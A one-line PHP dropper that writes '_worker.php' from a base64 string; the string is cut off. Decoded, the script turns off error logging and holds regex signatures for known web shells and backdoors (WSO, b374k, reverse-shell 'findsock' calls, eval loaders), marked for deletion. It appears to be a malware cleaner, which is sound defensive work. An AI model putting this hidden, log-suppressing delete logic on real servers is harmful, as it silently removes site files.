  file_put_contents('_worker.php', base64_decode('PD9waHAKQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBzZXRfdGltZV9saW1pdCgzNjAwKTsKCmVycm9yX3JlcG9ydGluZygwKTsKCgokcGF0dGVybnMgPSBhcnJheSgKLyogc3RhcnQgZGVsZXRlIHNlY3Rpb24gKi8KYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLnBocCQvbWknLAogICAgImNvZGUiID0+ICcvPFw/cGhwIGV2YWxcKFwiXD9cPlwiXHMqXC5ccypiYXNlNjRfZGVjb2RlXChcIi57MTAwMDAsfVwiXClcKTtccypcPz4uPFw/cGhwXHMqXC9cKlthLXosXXs0LH0vbXMnLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLnBocCQvbWknLAogICAgImNvZGUiID0+ICcvaWZcKGVtcHR5XChcJG1vcmRhdXJsXCkvbXMnLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLnBocCQvbWknLAogICAgImNvZGUiID0+ICcvaHR0cDpcL1wvdGRzXC5uYXJvZFwucnVcL2lcLnR4dC9tcycsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy9mdW5jdGlvblxzKmdlbmVyYXRlUmFuZG9tU3RyaW5nLipcJHBheWxvYWRfZmlsZS9tcycsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmMpJC9taScsCiAgICAiY29kZSIgPT4gJy9NSU5JIE1JTkkgTUFOSS9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy8uKlwuKHBocHxpbmMpJC9taScsCiAgICAiY29kZSIgPT4gJy9cJHdwX25vbmNlXHMqPVxzKigifFwnKVswLTlhLXpdezMyfSgifFwnKVxzKjsvbScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAoKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvLipcLihwaHB8aW5jfHR4dCkkL21pJywKICAgICJjb2RlIiA9PiAnL2lmXCghY2xhc3NfZXhpc3RzXChcJ1JhdGVsXCdcKVwpe2lmXChmdW5jdGlvbl9leGlzdHNcKFwnaXNfdXNlcl9sb2dnZWRfaW5cJ1wpXCl7aWZcKGlzX3VzZXJfbG9nZ2VkX2luXChcKVwpL20nLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvaHR0cHM6XC9cL2dpdGh1YlwuY29tXC9iMzc0a1wvYjM3NGsvbXNpJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnLy4qXC4ocGhwfGluYykkL21pJywKICAgICJjb2RlIiA9PiAnL0ppamxlMyBXZWIgUEhQIFNoZWxsIDIwMTUvaVUnLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvLipcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvTGVhZiBQSFAgTWFpbGVyIGJ5IFxbbGVhZm1haWxlclwucHdcXS9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy8uKlwuKHBocHxpbmMpJC9taScsCiAgICAiY29kZSIgPT4gJy9XZWJTaGVsbE9yYiAyXC42IC0gV2l0aCBQSFAgNy9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAoKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvbWV0YXdwXC5waHAkL21pJywKICAgICJjb2RlIiA9PiAnL2FsbGtleXNwaGFybS9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9ibG9ja3NwbHVnaW5uXC5waHAkL21pJywKICAgICJjb2RlIiA9PiAnLy4qL2lVJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL3N1cGVyc29jaWFsbFwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy8uKi9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9pbmRleFwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy93d3dcLmRhdGVjZW50ZXJcLmNvbS9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9Kd2xzamRfYmFhcWlmZ1wucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy8uKi9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9Kd2xzamRfd29pcXVzamZ4XC5waHAkL21pJywKICAgICJjb2RlIiA9PiAnLy4qL2lVJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL3dwLXNlc2lvbi1tYW5hZ2VyXC5waHAkL21pJywKICAgICJjb2RlIiA9PiAnL2Z1bmN0aW9uIGdldGJvZHlcKFwkYm9keVwpL2lVJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnLy4qXC5waHAkL21pJywKICAgICJjb2RlIiA9PiAnL2lmXChlbXB0eVwoXCRfR0VUXFtcJ2luZWVkdGhpc3BhZ2VcJ1xdXClcKS9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy8uKlwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy89QXJyYXlcKCJwdiI9PkBwaHB2ZXJzaW9uXChcKS9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy8uKlwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy8xMzZcLjEyXC43OFwuNDYvaVUnLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvLipcLnBocCQvbWknLAogICAgImNvZGUiID0+ICcvPVxzKkFycmF5XHMqXChccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJy9tcycsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy8uKlwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy9cJF9fPVwncHJpbnRmXCc7XCRfPVwnTG9hZGluZyB0aGUgV29yZHByZXNzIFwuXC5cLlwnOy9tJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnLy4qXC5waHAkL21pJywKICAgICJjb2RlIiA9PiAnL3JlZ2lzdGVyX3NodXRkb3duX2Z1bmN0aW9uXChcJ2J1aWxkZXJfX2FmdGVyX3NodXRkb3duX2NoZWNrXCdcKTsvbScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmN8dHh0KSQvbWknLAogICAgImNvZGUiID0+ICcvd3BhdXRvcD1wcmVfYWRtaW5fYmFyL2ltcycsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy8uKlwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy9kZWZpbmUoXCdXU09fVkVSU0lPTlwnL2lVJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCgphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy93cC1jbGVhbi1wbHVnaW5cLnBocCQvbWknLAogICAgImNvZGUiID0+ICcvLiovaVUnLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvd3AtY3JhZnQtcmVwb3J0XC5waHAkL21pJywKICAgICJjb2RlIiA9PiAnLy4qL2lVJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL3dwLWhlbGxvLXBsdWdpblwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy8uKi9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy93cC1sb2FkLXJlcG9ydFwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy8uKi9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy93cC1yZXBvcnRcLnBocCQvbWknLAogICAgImNvZGUiID0+ICcvLiovaVUnLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvd3Atc2lsaS1yZXBvcnQtc2l0ZVwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy8uKi9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy93cC16aXAtcGx1Z2luXC5waHAkL21pJywKICAgICJjb2RlIiA9PiAnLy4qL2lVJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwKSQvbWknLAogICAgImNvZGUiID0+ICcvXCRfUkVRVUVTVFxbXCJbYS16XXszfVwiXF1cKFwkX1JFUVVFU1QvaVUnLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwgCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwKSQvbWknLAogICAgImNvZGUiID0+ICcvQHN5c3RlbVwoImtpbGxhbGwgLTkgIlwuYmFzZW5hbWVcKCJcL3VzclwvYmluXC9ob3N0IlwpXCk7L2lVJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksIAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocCkkL21pJywKICAgICJjb2RlIiA9PiAnL2ludHZhbFwoX19MSU5FX19cKSBcKiAzMzcvaVUnLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwgCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL21ldGF3cFwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy9vcGVucmVkaXJlY3RcLm5ldC9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAoKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvd3B0ZW1wXC5qcyQvbWknLAogICAgImNvZGUiID0+ICcvZXJyb3JfcmVwb3J0aW5nL2lVJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksIAoKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvXnZhbGlkYXRlXC5waHAkLycsCiAgICAiY29kZSIgPT4gJy80NzY5ZTQ5NjAzOGMzZDBlZTM4ZjYyNjdkMzg5NDY5Yi9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLCAKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHApJC9taScsCiAgICAiY29kZSIgPT4gJy9cPFw/cGhwIGNsYXNzIEZvby4qW1xTXXsxNTAwfS4qXChcKTsgXD8+L2ltcycsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dezh9XC5waHAkL21pJywKICAgICJjb2RlIiA9PiAnfjsoPzpAXCQoPzpcd3sxLDQwfVwoXCRcd3sxLDQwfVwoXCRcd3sxLDQwfVwoXCRcd3sxLDQwfVwoXCRcd3sxLDQwfVwpXClcKVwpO1xzKlw/PlxzKlxaKD88WDY5YmFiNjdlPil8X19cKFwkX19cZCtcKEBcJF9cW1xkK1xdXC5AXCRfXFtcZCtcXVwuKD88WDNjYWIzMmE1Pil8ZnVuXChccypzdHJfcm90MTNcKCg/PFgyMWZmMWEwND4pKXxcJCg/Olx3ezEsNDB9KD86PVwnW15cJ10rXCdcXlwnW15cJ10rXCc7XHd7MSw0MH07KD88WGVlMTI2OGY0Pil8XF5cJFx3ezEsNDB9O1wkXHd7MSw0MH09XCRcd3sxLDQwfVxeXCcoPzxYYjVjOGIzYjc+KSl8XHtcJCg/Olx3ezEsNDB9XH0oPzpcLj1wYWNrXCgiW14iXXsxLDIwfT8iLDB4MDAwMDAwMDAsMHgwMDAwMDAwMCwweDAwMDAwMDAwLHN0cmxlblwoXCRce1wkXHsiKD88WDE3NTQ0Yjk1Pil8XHMqPVxzKmdldF9vcHRpb25cKEVXUFRfUExVR0lOX1NMVUdcKTtlY2hvIlteIl0rIlxzKlwuXHMqZXNjX2F0dHJcKFwkXHtcJFx7IlteIl0rIlx9XHMqXFsiKD88WDA1MzI1NGRjPikpfFx7IlteIl17MSwxMDB9Ilx9XFtbXlxdXXsxLDEwMH1cXVx9PXN5c3RlbV9jdXN0b21cKFwkXHtcJFx3ezEsNDB9XH1cKTtlY2hvXCRce1wkXHsiW14iXXsxLDEwMH0iXH1cWyJbXiJdezEsMTAwfSJcXVx9O3ByaW50KD88WDU5MzYzYjY0PikpfF8oPzpccyo9XHMqY3JlYXRlX2Z1bmN0aW9uXChccyoiIlxzKixccypAZ3p1bmNvbXByZXNzXChcJF8rXClcKTtcJF8rXChcKTtccypcPz4oPzxYM2IxOTZiZjk+KXxcd3sxLDEwfT1hcnJheVwoW14pXStcKTtcJHBheWxvYWQ9IlteIl17NDAwMCwxNDAwMH0iOyg/PFg2Yjg0ZTRmYT4pfFx3ezEsNDB9PS5cJF9cd3sxLDQwfVwoIlteIl0rIixcJ1x3ezEsNDB9XCdcKTtAXCRfXHd7MSw0MH1cKCJbXiJdKyIsLlwkX1x3ezEsNDB9XCgoPzxYYzQ5OTM3N2Y+KSl8YjM3NGtccyo9XHMqXCRcd3sxLDQwfVwoXHMqW1wnIl1cJFx3ezEsNDB9W1wnIl1ccyosXHMqW1wnIlwuLFxzZXZhbF17Nyw0MH1cKCg/PFgwMDc4MzcxNT4pfGRlZmF1bHRfdXNlX2FqYXg9dHJ1ZTtcJGRlZmF1bHRfY2hhcnNldD1fXHd7MSw0MH1cKFxkXCk7XCRHTE9CQUxTKD88WDU3MWUzMWY4Pil8dGhpcy0+dG1fY2xhc3NfbmFtZV9kaXY9XCRce1wkXHsiXFx4XHd7Mn0oPzxYYzEzNjAzMmM+KSl8XHMqKD86KD86ZWNob3xwcmludClccypcKD9bXCciXT88dGl0bGU+XHMqRHJvaWQtWC1GYWhyaVxzKjwoPzxYYWJiOTQxMmU+KXwoPzpnb3RvXHMqXHd7MSw0MH07XHMqXHd7MSw0MH06XHMqQD9pbmlfc2V0XChbXlwpXXsxLDk5fVwpO1xzKil7Mn1bXi9dezksOTl9PHRpdGxlPlxzKlx3ezEsNDB9XHMrYmFja2Rvb3Jccyo8L3RpdGxlPig/PFhmNWVlMDhhZT4pfCg/OnBhc3N0aHJ1fGV4ZWN8c2hlbGxfZXhlY3xwb3BlbnxzeXN0ZW18ZXZhbClcKFxzKltcJyJdXC4vZmluZHNvY2tbXlwkXXsxLDQwfVwkX1NFUlZFUlxbW1wnIl1SRU1PVEVfQUREUltcJyJdXF1bXlwkXXsxLDQwfVwkX1NFUlZFUlxbW1wnIl1SRU1PVEVfUE9SVFtcJyJdXF1ccypcKVxzKlw/Pig/PFhmODdjM2I1MT4pfFsjXXs1LDIwMH1ccypcJFNVQkpFQ1Rccyo9XHMqW1wnIl1ccypcKCg/OkFNQVpPTnxBRE9CRXxBWlVSRSlcKVxzKlwoKD86QklMTElOR3xMT0dJTilcKVxzKlwoXHMqXCRJUFxzKlwpXHMqXChccypcJENPVU5UUllOQU1FXHMqXClccypbXCciXVxzKjsoPzxYODViZDFkZWM+KXxcJCg/OltPMF9dKz0iW14iXSoiXHMqO1xzKlwkXHd7MSw0MH09IlteIl0qIlxzKjtccypcJFx3ezEsNDB9XHMqPVwkXHd7MSw0MH1ccypcKFxzKiJbXiJdKiJccyosXHMqIlteIl0qIlxzKixccyoiW14iXSoiXHMqXClccyo7XHMqXCRcd3sxLDQwfVxzKj1cJFx3ezEsNDB9XHMqXChccyoiW14iXSoiXHMqLFxzKiJbXiJdKiJccyosXHMqIlteIl0qIlxzKlwpXHMqO1xzKlwkXHd7MSw0MH1ccyo9XCRcd3sxLDQwfVxzKlwoXHMqIlteIl0qIlxzKixccypcJFx3ezEsNDB9XHMqXChccypcJFx3ezEsNDB9XHMqXChccyoiW14iXSoiXHMqLFxzKiJbXiJdKiJccyosXHMqXCRcd3sxLDQwfVxzKlwuXHMqXCRcd3sxLDQwfVxzKlwuXHMqXCRcd3sxLDQwfVxzKlwuXHMqXCRcd3sxLDQwfVxzKlwpXHMqXClccypcKVxzKjtccypcJFx3ezEsNDB9XHMqXChccypcKVxzKjtccyplY2hvXHMqXCRcd3sxLDQwfVxzKlwuXHMqIlteIl0qIlxzKjtccyooPzxYZWQ0MDlmYmY+KXxcd3sxLDIwfVxzKj1ccyooPzpodHRwX2dldHxmaWxlX2dldF9jb250ZW50cylccypcKFtcJyJdaHR0cHM/Oi8vbGFnZ2VyZ2hvc3RcLmdpdGh1Yi5pby9bXlwpXStcKTsoPzxYMzk2ZjVhOWY+KXxcd3sxLDMwfVxzKlwoXHMqXCRcd3sxLDQwfVxzKlwoXHMqXCRcd3sxLDQwfVxzKlwuXHMqXCRcd3sxLDQwfVxzKixccypcJFx3ezEsNDB9XHMqXClccyosXHMqXCRcd3sxLDQwfVxzKlwpXHMqO1xzKlx9XHMqUHJpb3IyTGluZVxzKlwoW14pXStcKVxzKjtccypcWig/PFhkOTE0MjZiYz4pfFx3ezEsNDB9PUBcJEdMT0JBTFNcW1wnX1xkK19cJ1xdXFtcZCtcXVwoXCRcd3sxLDQwfVxzKlwuXHMqXCRcd3sxLDQwfVwpO1xzKmVjaG8gXCRcd3sxLDQwfTtccypcPz5cWig/PFhlZjY0NDRjOT4pfFx7W1wnIl0oPzpHfFxceDQ3KSg/Okx8XFx4NGMpKD86T3xcXHg0ZikoPzpCfFxceDQyKSg/OkF8XFx4NDEpKD86THxcXHg0YykoPzpTfFxceDUzKVtcJyJdXH1cW1tcJyJdKD86enxyfF98XFx4N2F8XFx4NWZ8XFx4NzIpezEsNDB9W1wnIl1cXVwoXCRbenJfXXsxLDQwfSxDVVJMT1BUX1VTRVJBR0VOVCxcXFtcJyJdV0hSXFxbXCciXVwpOyg/PFg5ZjRlNGY2NT4pKXxcYlx3ezEsMjB9XChcJFx3ezEsMTB9XHMqPVxzKlwkXHd7MSwxMH1cLlwkXHd7MSwxMH1cW1xkK1xdXCk7XHMqaGVicmV2Y1woXCRcd3sxLDEwfVxzKj1ccypcJFx3ezEsMTB9XC5cJFx3ezEsMTB9XFtcZCtcXVwpO1xzKlx3ezEsMTB9XChcJFx3ezEsMTB9XHMqPVxzKlwkXHd7MSwxMH1cLlwkXHd7MSwxMH1cW1xkK1xdXCk7KD88WGMwY2MwNjA3Pil8XH1ccypcfVxzKig/OlwkXHd7MSwyMH1ccyo9XHMqW1wnIl1bM0VdeFswb11yY1tpMV1bczVdWzd0XVtcJyJdOyg/PFhhZWZjZjUyZT4pfFx9XHMqZWNob1xzKltcJyJdW15cJyJdezAsNDB9W1wnIl0/XHMqXC4/XHMqcGhwX3VuYW1lXChcKVxzKlwuP1xzKltcJyJdP1xcP3I/XFw/bj9bXCciXTtccyplY2hvXHMqZ2V0Y3dkXChcKVxzKlwuP1xzKltcJyJdP1xcP3I/XFw/bj9bXCciXTtccypcPz5ccypcWig/PFg0NmJjMDBiMT4pKXxlKD86dmFsXChcJEdMT0JBTFNcW1wnXHcrXCdcXVxbXGQrXF1cKFwkR0xPQkFMU1xbXCdcdytcJ1xdXFtcZCtcXVwoXCRcdytcKVwpXCk7XD8+KD88WGZmNWNmMTIzPil8eGl0XHMqXChccypcKVxzKjtccypcfVxzKlx9XHMqXCRcd3sxLDQwfVxzKj1ccypcd3sxLDQwfVxzKlwoXHMqXCRcd3sxLDQwfVxzKixccypcJFx3ezEsNDB9XHMqXClccyo7XHMqXHd7MSw0MH1ccypcKFxzKlwkXHd7MSw0MH1ccyosXHMqXCRcd3sxLDQwfVxzKlxbXHMqXGQrXHMqXF1ccypcKFxzKlwkXHd7MSw0MH1ccypcW1xzKlxkK1xzKlxdXHMqLFxzKlwkXHd7MSw0MH1ccypcXlxzKlx3ezEsNDB9XHMqXChccypcJFx3ezEsNDB9XHMqLFxzKlwkXHd7MSw0MH1ccyosXHMqXCRcd3sxLDQwfVxzKlxbXHMqXGQrXHMqXF1ccypcKFxzKlwkXHd7MSw0MH1ccypcKVxzKlwpXHMqXClccypcKVxzKjtccypcfVxzKlxaKD88WGI2ZjQ4ZTk4PikpfGZ1bmN0aW9uXHMqXHd7MSw0MH1cKFwkXHd7MSw0MH1cKVxzKlx7XHMqcmV0dXJuXHMqXChzdWJzdHJcKFwkXHd7MSw0MH1ccyosXHMqXGQrXHMqLFxzKlxkK1xzKlwpXHMqPT1ccypcd3sxLDQwfVwoYXJyYXlcKFteKV17MSwxMDB9XClccypcKVxzKlwpXHMqO1xzKlx9KD88WGRhYTIyZjI1Pil8cHJpbnRccysiRmxvb2RlZDpccypcJGlwXHMqb25ccypwb3J0XHMqXCRyYW5kKD88WGNkNTlkMzNmPil8c3ltbGlua1woXCcvXCdcLlwkaG9tZVwuXCcvXCdcLlwkdXNlclwuXCcvcHVibGljX2h0bWwvY2xpZW50XC1hcmVhL2NvbmZpZ3VyYXRpb25cLnBocFwnLFwkdXNlclwuXCdXSE1DU1wudHh0XCdcKTsoPzxYYTZlYzc5NjM+KSl8XHMrZXZhbFxzKlwoXHMqZ3ppbmZsYXRlXHMqXChccypiYXNlNjRfZGVjb2RlXHMqXChccypbXCciXURjL0pjb0l3QUFEUXoxR0hRMldINlNrSXFPd0JaTHQwQkJLa0JJS3lqWDU5W15cJyJdezM2MH1bXCciXVxzKlwpXHMqXClccypcKVxzKjtccypcPz5ccypcWig/PFg4MTA2MWFkMz4pfFx9XHMqZWNob1xzK1wnW15cJ117MSwxMDB9XCc7XHMqcHJlZ19yZXBsYWNlXCgiXFx4MkZcXHgyRVxceDJBXFx4MkZcXHg2NSIsIlxceDY1XFx4NzZcXHg2MVxceDZDXFx4MjgoPzxYYjVjOGVlNjk+KXxjbGFzc1xzKlNtYXJ0eTNccyp7XHMqcHJpdmF0ZVxzKnN0YXRpY1xzKlwkZmlsZV93aXRoX2lwKD88WGU3ZDcxNzkzPil8ZSg/OnVydFxzKj1ccyp4YWphX2VzdV90bHVhZmVkXCQoPzxYZWViOGU4OTg+KXx2YWxcKGJhc2U2NF9kZWNvZGVcKGd6dW5jb21wcmVzc1woYmFzZTY0X2RlY29kZVwoXCRcdytcKVwpXClcKTtcPz4oPzxYMmYzMTEzZTk+KXx4aXQ7ZW5kaWY7ZW5kaWY7QGlOSV9zRVRcKCJlcnJvcl9sb2ciLG51bGxcKTtAaU5pX1NFdFwoKD88WGMxNjExODM1PikpfGZpbGVfcHV0X2NvbnRlbnRzXChcJF83XFtcJy5cJ1xdXFtcJ1x3K